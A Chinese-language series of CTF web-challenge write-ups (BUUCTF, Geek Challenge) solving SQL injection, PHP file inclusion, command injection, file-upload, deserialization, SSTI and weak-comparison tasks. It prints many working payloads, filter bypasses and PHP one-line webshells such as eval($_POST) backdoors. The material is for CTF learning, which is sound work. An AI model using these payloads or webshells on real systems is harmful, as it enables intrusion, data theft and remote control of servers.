赞
踩
正常的逻辑是输入正确的用户名和密码,才能登录;由于没有任何防止sql注入的措施,所以一般正常的查询语句为
select user from ctf where user = admin and pw = xxxxxx;
由于没有限制输入,所以我们可以构造这样的查询语句,注释掉后面的一部分代码,这样就可以免验证密码登录。这个就是万能密码的原理。
select user from ctf where user = admin -- and pw = zxxxxx;
在sql当中,#就是注释的符号,可以将后面的字符串全都注释掉。所以一般的我们可以使用admin#
不过如果题目使用这样的结构:
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
在这时我们就需要构造user=admin’) #。加上’)的原因是下面的sql语句是这样拼接的,所以需要自己填上’)使得user可以闭合。在实际操作中,具体是什么情况需要我们自己的尝试和判断。
题目类型:简单的SQL注入
1.有输入框表单的通常都是万能密码
2.如果只填写账号的话
发现必须用户名和密码都要填,密码不能为空,可能是在将参数放在sql语句之前有一个是否为空的判断。
3.使用万能公式
# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1
1' or '1'='1
用户名随便来,只要在密码上使用1' or '1'='1
就成功登录了,或者密码随便填,用户名使用1' or '1'='1#
(注:若用burpsuite进行测试。需要把空格用url编码为%20,#编码为%23。否则会报错 )
# : 单行注释,直接注释#之后的内容
使用1and1=1不行,推测可能原因如下:
推测sql语句是SELECT * FROM tables WHERE username='你输入的' and password='你输入的' 类似这样的查询,and 的两边同时为TRUE 结果才能为 TRUE,所以输入的payload一定要符合这个条件就可以登录成功了。
# payload
SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='1'
# 优先级排序:and 优先级高于 or,所以要计算 and 然后再计算 or
username='1'--->false
'1'='1'---> true
passwrod='1'--->false
'1'='1'--->true
false or (true and false) or true
false or false or true
false or true
#得出结果:true
页面只有一个坏坏的笑脸啥也没有,于是我们F12检查元素,发现貌似有个提示
我们访问/source.php果然给出了源码,我们代码审计
看到这么一个东西,hint.php我们也看看
说明flag在ffffllllaaaagggg里,直接进这个页面发现没有,不存在。哦!原来这是个文件不是个网页,访问个屁。我们使用?file=来找到它。
一定注意哈,从hint.php开始找,多少个…/自己一个一个试
下面对代码进行解析
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//条件一:page的值为空或者不是字符串,那么不通过
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//条件二:page的值在白名单中,则通过
if (in_array($page, $whitelist)) {
return true;
}
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
//条件三:page中?之前的值在白名单中,则通过
if (in_array($_page, $whitelist)) {
return true;
}
//将url编码后的字符串还原成未编码的样子,然后赋值给page
$_page = urldecode($page);
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
//条件四:page还原成未编码之后,?前面的值是否在白名单内,是则通过
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//以上条件满足一个则结果包含file
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
//这一坨代码,告诉我们,你输入的payload不为空,是字符串,且前面那个函数返回是ture,
//才能给你include包含文件。这也是为什么我们file=后面要先接一个hint.php或者resource.php
?>
这也是代码审计,我们F12查看源码
关键代码直接注释在div盒子里了,意思是如果cat的值等于‘dog’ 那么就响应Syc{cat_cat_cat}
至于Syc是啥,咱也不知道。反正只要把cat的值传个dog进去就完事儿了。
网页出现一个链接,指向?file=flag.php
尝试着点进入发现flag’是看不见的,但是网页没错没有自动跳转到其它页面
题目提示为包含漏洞。
重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
于是构造payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码后的内容为:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo=
接着base64解码即可
flag{38fc6cb1-9559-4ca1-897a-7f6462ebe0ba}
好像不同的人答案还不一样,千万不要图省事儿直接交别人的答案,会被记录的QAQ
file:// 访问本地文件系统
php:// 访问各个输入/输出流
php://input
php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以 获取到post的数据。
比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的
php://filter
利用它可以读取服务器中的文件
由于读取文件的数据直接输出在了页面上,如果读取的是php文件的话,PHP代码在浏览器中解析会不正常,那么我们可以用这个协议将php文件中的代码以base64的形式输出在页面上:
Payload:
/?file=php://filter/read=convert.base64-encode/resource=file.php
本题就是使用的这种方式。
以其他格式显示:
string.tolower //写入内容全部变成小写
string.toupper //写入内容全部变成大写
string.rot13 //写入内容全部对字符串执行 ROT13 编码
data://
用法: 1.
http://192.168.0.103/test/file.php?filename=data://text/plain;base64,PD9waHAg cGhwaW5mbygpOyA/Pg==http://192.168.0.103/test/file.php?filename=data:text/plain,<?php phpinfo();?>
phar://
这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。前提条
件是php版本大于5.3.0,而且压缩包必须是zip协议压缩的文件 Payload:
http://192.168.1.239/rfi.php?filename=phar://shell.zip/shell.php
zip://
和上一个的原理差不多,只是格式不一样 Payload:
http://192.168.1.239/rfi.php?filename=zip://shell.zip%23shell.php
首先输入测试
这里我输入的是1,回显“1”“hahaha”
这里我输入的是2,回显“2” “miaomiaomiao”
输入
1' order by 3 #
弹不出来了,说明字段有2位。尝试联合查询查询数据库
1' union select 1,2#
发现不行。别人尝试过发现
过滤了select|update|delete|drop|insert|where|\./i
尝试union注入,回显了过滤的关键字。
1' union select 1,2#
它直接给我们回显这个过滤的字符
现在我们尝试堆叠注入,原理很简单,就是通过 ; 号注入多条SQL语句。
0'; show databases; #
爆表名:1'; show tables;#
发现有words和“191…”两个表
1'; show columns from `1919810931114514`;#
注意:表名为数字时,要用`包起来查询。
查询结果:
所以有个flag,应该就是我们要找的了。那我们如何在关键字过滤的情况下得到具体数据呢?
方式一:改名换姓
我们现在的情况是,库是这个库,库里俩表一个表名words一个表名是1919810931114514。现在的默认是查询的是words表,但我们要的是1919810931114514表下的flag值。也就是需要实现跨表查询
我们可以猜测到他的查询语句应该是select * from words where id=
- 1
我们可以“改名换姓”把1919810931114514表名改成words表,仅如此还不够,由于words表有两个字段,我们需要把新的words表也变成两个字段
1'; rename table words to word1; rename table '1919810931114514' to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
- 1
这一坨执行完之后,再查询1就可以了
方法二:关键字过滤之编码绕过
我们本来是可以直接查询1919810931114514表里面的东西的,用select * from ``1919810931114514`
- 1
但是,前面说了select被过滤了,那么我们可以绕过这个过滤(16进制编码)
1';SeT@a=0x<这里填查询语句的十六进制代码>;prepare execsql from @a;execute execsql;# 也就是: 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
- 1
- 2
- 3
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
查询结果如下:
我觉得这种方法才是一般性的绕过方法
方法三:关键字过滤之等价函数替换
查询语句除了我们常用的“SELECT”语句以外还有HANDLER。并且在官方的说明中“HANDLER查询性能比SELECT更好”所以我们可以直接换个查询函数赛。
1'; handler `1919810931114514` open as flag; handler flag read next;#
- 1
这题涉及到的知识点很多,SQL注入流程,堆叠查询,关键字过滤和绕过
1.判断是否存在注入,注入是字符型还是数字型。
2.猜解 SQL 查询语句中的字段数:order by N
3.确定显示的字段顺序。
4.获取当前数据库。
5.获取数据库中的表。
6.获取表中的字段名。
7.查询到账户的数据。
网页过滤了哪些关键词,可以用burpsuite去爆破一下,使用常用的关键字字典。
绕过:SQL注入的一般方法总结
我们这题就采用了等价函数替换和编码绕过
这里页面叫我们ping
考察的是常见管道符直接执行命令。
1. | (按位或),直接执行|后面的语句
2. || (逻辑或),如果||前面的语句是错误的,则执行后面的语句,否则的话只执行前面的语句
3. & (按位与),无论&前后的语句真假,都要执行
4. && (逻辑与),若前面的语句为假,则后面的语句也不执行;若前面的语句为真则执行前后两条语句
5. ; (作用和&一样)
所以我们直接
192.168.0.1|cat /flag或者
192.168.0.1||cat /flag或者
192.168.0.1&cat /flag
管道符主要用于多重命令处理,前面命令的打印结果作为后面命令的输入。简单点说就是,就像工厂的流水线一样,进行完一道工序后,继续传送给下一道工序处理…
举个栗子:对hello.sh文件进行排序去重以后找出包含"better"的行
命令为:cat hello.sh | sort | uniq | grep 'better’
【1】第一道工序——查看文本
首先使用cat命令查看文本,打印到屏幕上内容即为cat命令的输出结果
【2】第二道工序——排序
将前面cat命令输出的结果通过管道丢给sort命令,所以sort命令是对前面cat命令输出的文本进行排序
【3】第三道工序——去重
前面介绍uniq的文章中提到,sort跟uniq结合使用才能有效去重,所以通过管道将sort处理后输出的文本丢给uniq处理,所以uniq处理的是排序好的文本,可以进行有效去重
【4】第四道工序——过滤
最后一步过滤则同样是将前面命令即uniq命令处理后输出的文本进行过滤
以上的cat、sort、uniq、grep等命令均支持管道符,是因为这些命令均可从标准输入中读取要处理的文本(即从标准输入中读取参数);而对于部分命令,例如rm、kill等命令则不支持从标准输入中读取参数,只支持从命令行中读取参数(即rm命令后面必须指定删除的文件或者目录,kill命令后面必须要指定杀死的进程号等)
我们首先试一试
我们尝试一下带单引号的注入,怎么输都是nonono。这里显示nononono就应该是过滤了关键字
可以用burpsuite爆破一下常用关键字看看哪些关键字被过滤了,这里我附上别人的结果
黑名单 :
$BlackList = “prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|”";
那说明这样不行,我们尝试;来进行查询发现可以。那么就按照流程爆库爆表爆天爆地。
1;show databases;#
2. 查看表
1;show tables;#
3. 查看字段值,这里出问题了。from,flag,information 都被过滤了。这里我尝试了十六进制编码,没绕过去。
查询之后发现这题考察的是set sql_mode=PIPES_AS_CONCAT;
首先我们发现我们不管输入什么数字,得到的结果都是Array ( [0] => 1 ),但是如果输入0,那么就没有回显。说明,0导致了我们的这个句子失效。我们思考一下,源码可能如下:
select $post['query']||flag from Flag
这里巧妙的可以输入“*,1”这样会导致语句变为
select *,1||flag from Flag,也就是select *,1 from Flag
另一种就是专业一点,使用
1;set sql_mode=PIPES_AS_CONCAT;select 1
其中set sql_mode=PIPES_AS_CONCAT;的作用是将||的功能从 或运算(or) 改为 字符串拼接,修改之后这个 || 相当于是将select 1 和 select flag from Flag 的结果拼接在一起。
这题给出了一种使用||进行查询的情形,我们除了需要了解在没有过滤“*”时万能密码的*,1还需要了解到set sql_mode=PIPES_AS_CONCAT;这样的语句
这题首先给你一个页面,页面里没发现什么信息,但是F12查看后发现有个隐藏的a标签指向./Archive_room.php
我们点击跳转过去之后发现又是一个网页有一个写着secret的a标签,这里注意,a标签指向的是./action.php。但是当我们点击之后他跳转到了end.php
只要点击过去就变成这样,也就是发生了重定向,我们怎么办
这时候,我们使用burpsuite打开,点击secrete,我们直接看返回的数据文件,果然!发现返回了这样一段东西
我们去请求secr3t.php发现回显这样的东西
那我们再继续访问flag.php这里会发现
有问题,搞错了,这是骗我们的。我们返回刚刚的/secr3t.php页面,在浏览器上能直接看到php源码
源码如下:
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
这里我是不明白什么意思啦,但是能看得出来是关于include 的文件包含,在后面加上
?file=php://filter/read=convert.base64-encode/resource=flag.php即可。然后我们就会得到一串base64加密的文字。进行解密即可
PHP伪协议总结 - SegmentFault 思否
file://
协议
- 作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen
与allow_url_include
的影响。
include()/require()/include_once()/require_once()
参数可控的情况下,如导入为非.php
文件,则仍按照php语法进行解析,这是include()
函数所决定的。
这题进网页之后只能看到如下:
其他啥也没有了,我F12和burpsuit查看也没发现什么东西。但是这个字长的很想我们的payload嘛!我们尝试随便构造一个payload看看
看起来怎么那么像命令行的ping操作捏?感觉可能是远程命令行执行,我们直接使用;进行堆叠查询,这里的ls是lunux命令行中的显示文件目录下面有些什么内容的命令哈,这个大家都知道的。
发现有俩网页,我们试着直接加载
?ip=127.0.0.1;cat flag.php
这个意思应该是过滤了空格(用词怎么这么不文明),我们进行绕过
空格过滤
- ${IFS}替换
- $IFS$1替换
- ${IFS替换
- %20替换
- <和<>重定向符替换
- %09替换
几番尝试发现连flag都被过滤了
我们查看一下index文件,会发现
原来过滤规则写在这里的。果然,好多过滤规则。这里 匹配一个字符串中,是否按顺序出现过flag四个字母。所以不能有flag。那我们进行绕过
变量绕过
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
内联执行:
``在linux中使用反引号包围意为将内容当做命令执行
/?ip=127.0.0.1;cat$IFS$1`ls`
base64编码绕过
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
前边Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行
这里边的|是管道符。
得到
$flag = "flag{2205ce54-b625-457e-b77a-6bae7b6e3705}";
这题考验的就是基础的linux命令和简单的绕过方式。
此题是标准的SQL注入题目。我们安流程一步一步来。首先我用万能密码直接试了一下。
admin
check.php?username=admin&password=1%27or%271%27%3D%271
好!登录成功,不过你以为就完了吗?试了之后这个不是flag,果然没那么简单啊。那我们按流程来。
1.存在sql注入这是无疑的了,我们先爆库(注意哈,回显的网站是我们用万能密码登录成功的这个网站,所以要在这里爆库。但是这里没有输入框,所以我们要构造url注入)
/check.php?username=admin' order by 3%23&password=1 # 存在
/check.php?username=admin' order by 4%23&password=1 # 报错
注意:这里要同时输入用户名和密码才奏效,然后%23在SQL语句里面是#在url执行中也会把%23解析成#
所以这里不能直接写#不然就被网页编码成%23了
因此,得到字段数为三
2.爆回显点
/check.php?username=1' union select 1,2,3%23&password=1
回显点位2,3
3.爆表
使用联合查询
/check.php?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
得到有两个表,分别是geekuser和l0ve1ysq1
4.爆字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23
查到我们的’l0ve1ysq1’表里面有仨字段
5.就是看数据了
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
Your password is ‘1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{b1d254ac-a2ba-405e-afc9-df702115fa80}’
咱们看到flag了,结束。
这题考察的是后门,题目也暗示了中国菜刀(一个连接后门的软件)。
这一看就是一句话木马,其中的Syc就是连接的key
我们打开蚁剑,添加数据输入key
点击测试连接会发现连接成功。然后我们进行添加,之后右键点击管理文件,在/目录下就可以找到flag文件了
得到flag{708fa83b-4476-45ab-a8a6-3c544d0bc49f}
这题要求的基本都是请求里面的数据
所以我们使用抓包软件抓包,添加下面几项:
得到flag
首先这个网站要求我们提交图片,肯定是文件上传漏洞。我们先交一个php文件,抓包改后缀试试
结果发现然而并没有什么用,说明进行了前端过滤非图片格式文件。
前端过滤非图片格式文件。那我们尝试将木马写入到img里面
回显结果如下:
好家伙,还加了后端过滤,文件内容不能包含’<?'。
进行绕过,报错
还是不行,说明对图片头进行了校验,那添加图片头,然后上传。
然后继续copy /b 1.png+1.php 2.png,上传
然后我们找到文件保存的目录,盲猜猜到了,/upload/2.png
打开蚁剑链接,发现不太行
回到起点,我们重新对1.php进行抓包。更改这个Content-Type为image/jpeg,即是我们上传的文件格式绕过,这里PHP格式也不行,一直试到phtml可以(绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)
蚁剑连接
flag就在/下面的flag里
flag{c25fe532-2760-455b-8b0e-3acf7f1b1155}
总结:
其实我前面那一大块都是绕路了的,根本没有那么麻烦,我就欠在对参数修改没有经验,不止要改Content-Type还要对后缀名进行针对性的更改。我们这一关对前端验证的处理是修改后缀名,抓包再该成特殊的可执行的。对后端验证的处理是修改一句话木马的内容使其绕过头部检验和关键字“<?”过滤。
这题的思路是增加文件头和绕过<之后,在burpsuite里面修改两个参数,一个是Content-Type一个是filename的后缀,因为在这里如果不修改后缀,png在这里没法用蚁剑连接。
相关知识点
一句话木马:
- eval和assert
php任意代码执行的一句话后门,传统的eval,php5,7通用。<?php @eval($_GET["cmd"]); ?> <?php @assert($_POST['a']) ?>
- 1
- 2
- create_function和preg_replace函数:
create_function,它的作用是创建一个匿名函数,在内部也相当于执行了一次eval。php5,7都可用<?php $st=@create_function('',$_POST['a']);$st();?>
- 1
- /e修饰符,也就是大家熟知的preg_replace。php7用不了,仅限php5。
<?php @preg_replace('/.*/e',$_POST['a'],'');?>
- 1
- 与preg_replace相似,仅限php5。
<?php @preg_filter('/.*/e',$_POST['a'],'');?>
- 1
- 以下方式能适用于php7
<?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?> <?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?> <?php @mbereg_replace('.*',$_POST['a'],'','ee');?> <?php @mberegi_replace('.*',$_POST['a'],'','ee');?>
- 1
- 2
- 3
- 4
这题和上题一样,但我们采用同样的方式。
1.可以创建.phtml文件内容如下:
<script language='php'>@eval($_POST['a']);</script>
<script language='php'>system('cat /flag');</script>
这是我找到的别人的代码,好处在于,植入进入后就自动找到flag字段然后返回出来。不用我们用蚁剑连接然后找了
2.修改后缀名为png上传
3.抓包修改字段,Content-Type为image/jpeg,filename后缀名为.phtml
4.上传成功后找到上传的文件页面,直接访问
注意:这些flag每个人不一样,可别提交别人的了
这题出现是第三次了,之前两次都是用的万能密码直接进入,这次万能密码尝试不行。提示中说了给了严格的过滤,那么我考虑设置了怎么样的过滤,如何绕过。
admin
1'or'1'='1#
对我们的万能密码的过滤无非三个地方,“or” “ ’ ” “#”,总不可能把我数字给过滤了吧。那我们一点一点尝试呗。我们发现对or双写可以绕过。并且经过测试,发现被过滤掉的关键词还有:select ,and ,or where ,from。所以我们的payload想要考虑到双写这些关键词就可以了。
我们找回显点
username=admin&password=123456' ununionion selselectect 1,2,3 %23
回显点为2,3,接下来爆库
username=admin&password=123456' ununionion selselectect 1,2,database() %23
库名geek,然后我们尝试过flag不在这个库,好,又遇到跨库操作了
admin&password=123456' ununionion selselectect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata) %23
看样子很可能在ctf库里面,我们爆表名
username=admin&password=123456' ununionion selselectect 1,2,group_concat(table_name) frfromom (infoorrmation_schema.tables) where table_schema='ctf' %23
最后爆具体信息得到flag
username=admin&password=123456' ununionion selselectect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_schema='ctf' aandnd table_name='Flag' %23
所以这题就是考察了双写绕过的方式
这道题提示了是php的相关问题,且提示了有网站源码。那我们使用dirsearch对其进行扫描,搜寻容易是网站源码的文件zip,rar等。我们找到了一个www.zip下载后发现如下内容
我们打开flag.php,发现内容如下:
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
这就和我们之前碰到过的[极客大挑战 2019]Havefun差不多,最后都是要执行Syc才行。
我们在class.php下发现了重要代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
//在对象被销毁的时候( __destruct()),如果username=admin且password=100的时候才会显示flag。但明显中间会调用一次__wakeup()把username改掉。因此需要绕过unserialize(@$select);
}
}
}
?>
代码第26行如果username为admin便输出flag,从
__destruct,__construct,__wakeup
可以判断存在反序列化漏洞,我们要使this指代的这个对象的username属性=admin,因为传输的是对象的属性而不是参数,所以不能直接传参。
序列化:对象转换为字符串 反序列化:字符串恢复为对象
$test2 = serialize($test1);
这个serialize函数就会把对象变成字符串儿,格式类似这样:
O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}
o代表对象object:4代表对象长度:“对象名叫test”:有1个成员变量:{s表示字符串:2个长度:字符串叫做id:字符串:长度10:名叫PHPinfo();"}
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用
这里我们需要找到这个对象序列化的结果
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = serialize(new Name("admin",100));
echo $a;
?>
输出的结果为:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
因此构造payload:
?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
在上面的payload中,有两点需要注意。
在把username和password传入。在payload前面大括号前面的数字,代表对象的属性数。原对象是2,这里改成3,因为在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在Name和username前面有\0前缀,这与php的序列化方式有关。但在url提交payload的时候使用\0会被当成空白符丢失。因此要讲\0替换成%00。
重新构造payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到flag
首先一进来是这样一个页面
这题我们直接F12查看源码
我们注意到,首先注释说了,用了一个WAF确保安全,咱不知道是啥,先不管。然后有个url,这个我们肯定得去看看啊。
访问/calc.php,发现源码。
代码首先使用get获取一个num的值,然后进行一个黑名单的过滤之后 eval() 会函数把字符串按照 PHP 代码来计算。所以eval执行num的内容。那我们现在就是要通过num里面的值来找到flag
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
发现过滤了很多字符.正常字符没办法直接使用,只能为数字。但是可以使用 ASCII,构建函数
(这里注意:由于WAF对num的检测只允许num的值为数字,我们为了绕过,所以在构造payload的时候再num前面增加一个空格)
这里给上别人的解释
payload:
/calc.php? num=2;var_dump(scandir(chr(47)))
其中var_dump()用来打印;
scandir()用来获扫描目录下文件;
chr(47)是“/”的ASCII编码。
发现一个意思flag的文件“f1agg”:
尝试读取该文件:
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
其中:
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法;
chr(47)是/的ASCII编码;
chr(102)是f的ASCII编码;
chr(49)是1的ASCII编码;
chr(97)是a的ASCII编码;
chr(103)是g的ASCII编码。
于是我们得到了flag的内容
这题是弱类型比较,这里放别人的题解
ACTF2020 新生赛]BackupFile
启动我们的挑战项目,发现上面什么都没有。只有一段话:Try to find out source file!
但是,题目有给我们提示说:Backup file,翻译成中文就是备份文件的意思
根据做题经验我了解到备份文件名有www.zip还有名为.bak .swp等等。但是因为懒,我就直接用dirsearch来进行扫描了(虽然扫描的时候要花很多时间…)
最终扫描到一个文件名为:/index.php.bak的文件
然后访问这个连接,然后把备份文件下载下来。发现是一个PHP的代码审计
用记事本这样的工具打开便可以看到里面的PHP代码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
感觉是弱类型的比较题。主要代码是:
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。
所以这里我们只需要提供一个参数?key=123就可以拿到flag了
我们在menu的payflag页面F12找到下面的代码
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
首先解释一下, is_numeric()函数检测字符串是否只由数字组成,如果字符串中只包括数字,就返回Ture,否则返回False。
这里的代码的意思是如果password 的值为数字,那么就返回 “password can’t be number”; 但是!后面else if又限制password == 404才能够返回"Password Right!";这就造成一个反向条件。
is_numberic()函数漏洞:当数值后加上%20时,就会被判断为非数值,因此我们只要传入404%20
即可绕过 is_numberic()函数。
PHP弱类型比较:这个比较只比较前面的整数部分,因此404==‘404xxxxx’
于是我们直接让password=404abc或password = 404%20就可以了,既绕过了is_numeric()又完成了password的匹配。
我们绕过之后就发现这样的页面。
由文字可知,这里设置了三个关卡,首先你要付钱,其次你要是相关用户(CUIT的学员),最后你还要输对密码
第一步,变成学员:cookie改为1
第二步:传入数据,钱和密码。记得使用post方式!
payload:password=404abc&money[]=1
有人问,为什么钱要设置成字符串呢,因为经过测试,money
值太长会显示错误,这里应该是对字符进行了判断,当前PHP版本为PHP/5.3.3
,对字符处理的函数在PHP漏洞中非常常见,使用数组进行传参发现即可跳过判断。
还有一种方式:使用科学计数法绕过money=1e9
这里使用hackbar进行传参就可以了
得到flag{1816d336-8ed9-4aa5-a15d-33a2ae5b2377}
打开题目后,首先发现3个超链接
依次点开三个链接
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
并且注意到,
地址里有参数filename和filehash推测这里flag应该是在
filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。变量 filename 的值总是为要访问的文件猜测 filehash 的值为MD5加密后的字符串。
那么,cookie_secret在哪呢?hints提示render。又根据题目easy_tornado可推测是服务器模板注入。
因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。
tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
构造payload:
http://e8d1f189-e498-4c03-9b0f-4eef7c6c671c.node3.buuoj.cn/error?msg={{handler.settings}}
'cookie_secret': '48447459-3bf5-49ef-b4b5-00a61cc9000e'}
/fllllllllllllag通过md5加密后:3bf9f6cf685a6dd8defadabfb41a03a1
**md5(cookie_secret+md5(/fllllllllllllag))**通过md5加密后的结果: a9afb8dde5f0f1a4ee32ac955496ff54
payload:
/file?filename=/fllllllllllllag&filehash=a9afb8dde5f0f1a4ee32ac955496ff54
得到:
这里有个人写的比较好,BUUCTF__[HCTF 2018]admin_题解
他里面未提到的第四种方法在[HCTF 2018]admin三种解法这里讲了一点,但是没有复刻成功,可以看一下思路。
对于这题,我们进入页面之后就会发现只有一个输入框,输入的内容会成password的值传进去。我们有理由相信这与sql注入有关,也就是我们要实现类似于1’or永真式的效果。但是直接输入万能密码并没有什么用。我们抓包发现了一些提示select * from ‘admin’ where password=md5($pass,true)
意思是对我们输入的东西进行了md5加密,md5($pass,true)的意思是对pass进行16位原始二进制格式的字符串MD5,而mysql又会把这一串16位二进制解析成十六进制从而当做十六进制编码进行解析。所以我们要找到某一个字符串,16位md5之后变成’or‘的十六进制形式。
'or'的十六进制:276f7227
ffifdyop的md5:276f722736c95d99e921722cf9ed621c
我们输入之后得到一串注释的代码看起来是md5碰撞弱类型比较
但是我们也可以采用数组绕过因为md5
等函数不能处理数组,导致函数返回Null
。
构造payload:?a[]=1&b[]=2
我们得到一段代码。
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
